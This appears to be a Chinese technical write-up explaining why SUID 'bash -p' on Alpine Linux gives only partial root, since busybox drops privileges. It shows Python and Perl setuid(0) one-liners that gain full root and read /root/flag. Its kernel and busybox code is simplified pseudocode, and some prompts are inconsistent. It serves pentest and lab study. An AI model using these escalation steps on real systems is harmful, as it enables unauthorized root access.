摘要
Alpine Linux基于musl libc和busybox的独特设计,使其在SUID提权场景下展现出"一叶障目"般的矛盾现象:bash -p看似成功获得root权限(${EUID}=0),但执行外部命令时却处处受限。本文通过系统实验,深入剖析了busybox的主动降权机制------它通过检测Real UID与Effective UID的一致性来决定是否降权,以及如何通过setuid(0)原理(将Real、Effective、Saved、Filesystem四组UID统一设置为0)彻底绕过这一限制,实现真正完整的权限提升。
1. 引言:一叶障目的提权困境
在渗透测试中,SUID提权是经典路径。Alpine Linux上设置/bin/bash为SUID后,普通用户执行bash -p会出现令人困惑的现象:
bash
emma@Alpine:~$ bash -p
bash-5.3# echo ${EUID}
0 # ✅ 显示为 root
bash-5.3# cat /proc/$$/status | grep ^Uid
Uid: 1000 0 0 0 # ✅ 确实是 root 权限
bash-5.3# id -u
1000 # ❌ 但 id 说自己不是 root
bash-5.3# cat /root/flag
cat: can't open '/root/flag': Permission denied # ❌ 无法访问
bash-5.3# cat < /root/flag
flag{root_access} # ✅ 重定向却可以
bash-5.3# python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
bash-5.3# cat /root/flag # ✅ 现在完全正常
flag{root_access}
一叶障目 :${EUID}显示0,/proc/$$/status也证实EUID=0,仿佛已经提权成功------但这片"叶子"(busybox的降权机制)挡住了真正完整的权限,让外部命令全部失效,唯有用setuid(0)彻底"拨开叶子",才能获得真正的root权限。
2. 核心机制:busybox的降权检测逻辑
2.1 busybox applet的启动检查
当任何busybox applet(如ls、cat、id)启动时,会执行以下安全检查:
c
// busybox appletlib.c 核心降权逻辑
int run_applet(int argc, char **argv) {
// 检测:真实UID 与 有效UID 是否一致?
if (geteuid() != getuid()) {
// 不一致!说明普通用户(ruid=1000)在执行SUID程序(euid=0)
// 主动降权到真实用户
setuid(getuid()); // EUID: 0 → 1000
setgid(getgid());
setfsuid(getuid()); // FSUID: 0 → 1000
// 此时所有UID统一为1000
}
// 以降权后的权限执行具体applet
return applet_main(argc, argv);
}
判断条件 :geteuid() != getuid()
| 场景 | ruid | euid | 是否降权 | 结果 |
|---|---|---|---|---|
| 普通用户执行普通程序 | 1000 | 1000 | ❌ 不降权 | 以1000运行 |
| 普通用户执行SUID程序 | 1000 | 0 | ✅ 降权! | 回退到1000 |
| root用户执行任何程序 | 0 | 0 | ❌ 不降权 | 以0运行 |
| 所有UID统一为0 | 0 | 0 | ❌ 不降权 | 以0运行 |
关键洞察 :busybox不关心进程是否有root权限,它只检查ruid和euid是否相同。只要两者不同,就认为"普通用户在执行SUID程序",立即降权回ruid。
2.2 实验验证:ruid和euid的博弈
bash
# 初始状态:bash -p 后
bash-5.3# cat /proc/$$/status | grep ^Uid
Uid: 1000 0 0 0
# | |
# ruid euid ← 不同!busybox检测到会降权
# 调用外部命令时
bash-5.3# id -u # busybox启动
# 检测到 ruid=1000, euid=0 → 不同!
# 执行 setuid(1000) 降权
# 输出:1000
# 使用setuid(0)统一所有UID后
bash-5.3# python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
bash-5.3# cat /proc/$$/status | grep ^Uid
Uid: 0 0 0 0
# | |
# 所有UID统一为0 ← 相同!busybox不再降权
bash-5.3# id -u # busybox启动
# 检测到 ruid=0, euid=0 → 相同!
# 不降权,保持root
# 输出:0
3. 提权的本质:统一所有UID
3.1 setuid(0) 的原理
setuid(0)系统调用的核心作用:
c
// setuid() 系统调用行为
int setuid(uid_t uid) {
if (uid == 0) {
// 如果进程有 CAP_SETUID capability (EUID=0自动拥有)
// 将所有三个UID统一设置为0
current->uid = 0; // Real UID
current->euid = 0; // Effective UID
current->suid = 0; // Saved UID
// FSUID 也会自动同步为0
}
return 0;
}
为什么普通程序不能调用setuid(0):
- 只有EUID=0的进程才拥有
CAP_SETUIDcapability - 普通用户(EUID=1000)调用
setuid(0)会失败(权限不足) - 但
bash -p已经让EUID=0,所以可以成功!
3.2 统一UID前后的对比
| 状态 | ruid | euid | suid | fsuid | busybox行为 | 外部命令 |
|---|---|---|---|---|---|---|
| bash -p 后 | 1000 | 0 | 0 | 0 | ruid≠euid → 降权 | ❌ 失败 |
| setuid(0) 后 | 0 | 0 | 0 | 0 | ruid=euid → 不降权 | ✅ 成功 |
3.3 为什么重定向能工作(即使UID不一致)
bash
bash-5.3# cat < /root/flag # 成功
重定向由bash自身处理(EUID=0),不经过busybox,所以不受降权影响:
bash (ruid=1000, euid=0, fsuid=0)
├─ 处理重定向 "<"
├─ bash 自己 open("/root/flag") ← 以EUID=0执行
├─ 获得文件描述符 fd
├─ fork 子进程
├─ 子进程继承 fd
├─ execve("/bin/cat") → busybox cat
├─ busybox 降权 (ruid=1000, euid=1000)
└─ cat 从继承的 fd 读取 → 成功!(无需open)
重定向成功的本质 :open()由bash执行(EUID=0),文件描述符被继承,busybox即使降权也无需重新open()。
4. 完整提权的方法
4.1 使用 setuid(0) 统一UID
bash
bash-5.3# python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
sh-5.3# cat /proc/$$/status | grep ^Uid
Uid: 0 0 0 0
sh-5.3# id
uid=0(root) gid=0(root)
sh-5.3# ls -la /root
total 4
drwx------ 1 root root 4096 Jun 27 10:00 .
-rw------- 1 root root 33 Jun 27 10:00 flag
原理:
bash -p已经让进程拥有 EUID=0(具备 CAP_SETUID)- Python 继承了 bash 的权限(EUID=0)
os.setuid(0)将所有UID统一为0- 后续任何命令(包括busybox)都不会被降权
4.2 使用 Perl 实现 setuid(0)
bash
bash-5.3# perl -e '$< = 0; $> = 0; $) = 0; exec("/bin/sh")'
sh-5.3# id
uid=0(root) gid=0(root)
4.3 使用脚本创建永久SUID shell(不行)
bash
# 利用当前提权的bash创建一个真正的SUID shell
bash-5.3# cp /bin/bash /tmp/rootsh
bash-5.3# chown root:root /tmp/rootsh
bash-5.3# chmod +s /tmp/rootsh
bash-5.3# /tmp/rootsh -p
# 新的shell启动时:
# 内核设置 euid=0
# bash -p 保留 euid=0(不降权)
# 但注意:ruid 仍然是1000(继承自调用者)
bash-5.3# cat /proc/$$/status | grep ^Uid
Uid: 1000 0 0 0 # 仍然不一致!
# 但这次bash启动时处理了重定向逻辑,且创建时ruid也是1000
# 外部命令仍然会被busybox降权!
注意 :复制SUID bash后,ruid仍然是1000,所以busybox仍会降权。必须配合setuid(0)才能真正统一所有UID。
5. 完整流程时间线
T0: 初始状态
emma (ruid=1000, euid=1000) 执行 bash -p
T1: 内核处理SUID
├─ /bin/bash 有SUID位 (owner=root)
└─ 设置进程: ruid=1000, euid=0, fsuid=0
T2: bash初始化
├─ 检测到 -p 选项,保留 EUID=0
├─ ${EUID}=0 (缓存)
└─ 当前状态: ruid=1000, euid=0, fsuid=0
T3: 执行外部命令 (如 cat /root/flag)
├─ fork 子进程 (继承所有UID)
├─ execve("/bin/cat") → busybox
├─ busybox检测: ruid=1000, euid=0 → 不同!
├─ 执行: setuid(1000); setfsuid(1000)
├─ 现在: ruid=1000, euid=1000, fsuid=1000
└─ cat open("/root/flag") → Permission denied ❌
T4: 执行重定向命令 (cat < /root/flag)
├─ bash处理重定向: open("/root/flag") (EUID=0)
├─ 获得文件描述符 fd=3
├─ fork 子进程
├─ 子进程继承 fd=3 (已打开)
├─ execve("/bin/cat") → busybox
├─ busybox检测到降权: euid=1000
└─ cat从stdin读取 (fd已打开) → 成功!✅
T5: 执行 setuid(0) (python -c 'os.setuid(0)')
├─ python (EUID=0) 拥有 CAP_SETUID
├─ os.setuid(0) 系统调用
├─ 内核统一所有UID: ruid=0, euid=0, fsuid=0
├─ 现在: ruid=0, euid=0, fsuid=0
└─ 所有UID一致,busybox不再降权
T6: 完整提权完成
├─ 任何外部命令都以 root 运行
├─ cat /root/flag → 成功!✅
├─ ls /root → 成功!✅
└─ id -u → 0 ✅
6. 与其他发行版的对比
| 状态 | Alpine (musl+busybox) | Ubuntu/CentOS (glibc+bash) |
|---|---|---|
bash -p 后 EUID |
0 (root) ✅ | 0 (root) ✅ |
bash -p 后 ruid |
1000 | 1000 |
| ruid == euid? | ❌ 不同 | ❌ 不同 |
| busybox是否降权 | ✅ 会降权 | N/A (无busybox) |
| 外部命令是否可用 | ❌ 受限 | ✅ 完全可用 |
| 是否需要 setuid(0) | ✅ 必须 | ❌ 不需要 |
关键差异 :Ubuntu的外部命令(如/bin/cat)是独立二进制文件,不会主动降权。而Alpine的所有外部命令都是busybox,都会执行降权检查。
7. 一叶障目的本质
7.1 叶子是什么?
叶子 = busybox的降权检测 :if (geteuid() != getuid()) setuid(getuid())
7.2 为什么说"一叶障目"?
现象:
├─ 障眼法:${EUID}=0,/proc/$$/status显示EUID=0
├─ 真实情况:ruid=1000, euid=0 不一致
├─ busybox看到:不一致 → 降权回1000
└─ 结果:看似root,实则命令处处受限
比喻:
├─ 眼睛(EUID)= 看到了 root 权限(0)
├─ 叶子(busybox的ruid检查)= 挡住了真实权限
├─ 你以为自己看到了完整的 root(一叶障目)
└─ 但叶子后面的世界(真实完整的root访问)被挡住了
7.3 如何拨开叶子?
bash
# 使用 setuid(0) 统一所有UID
python3 -c 'import os; os.setuid(0)'
原理:
bash -p已经让 EUID=0(眼睛能看到root)setuid(0)将 ruid 也改为0(把叶子挪开)- 现在 ruid=0, euid=0(完全一致)
- busybox检测到两者相同 → 不降权(叶子消失了)
- 真正完整的root权限(拨云见日)
小结
Alpine Linux的SUID机制体现了"一叶障目"般的安全哲学:
- 表面现象 :
bash -p提权成功(EUID=0) - 隐藏机制 :busybox通过检测
ruid == euid决定是否降权 - 降权条件:只要ruid≠euid,busybox就主动降权到ruid
- 绕过方法 :使用
setuid(0)将所有UID统一为0 - 最终状态:真正完整的root权限,所有命令正常执行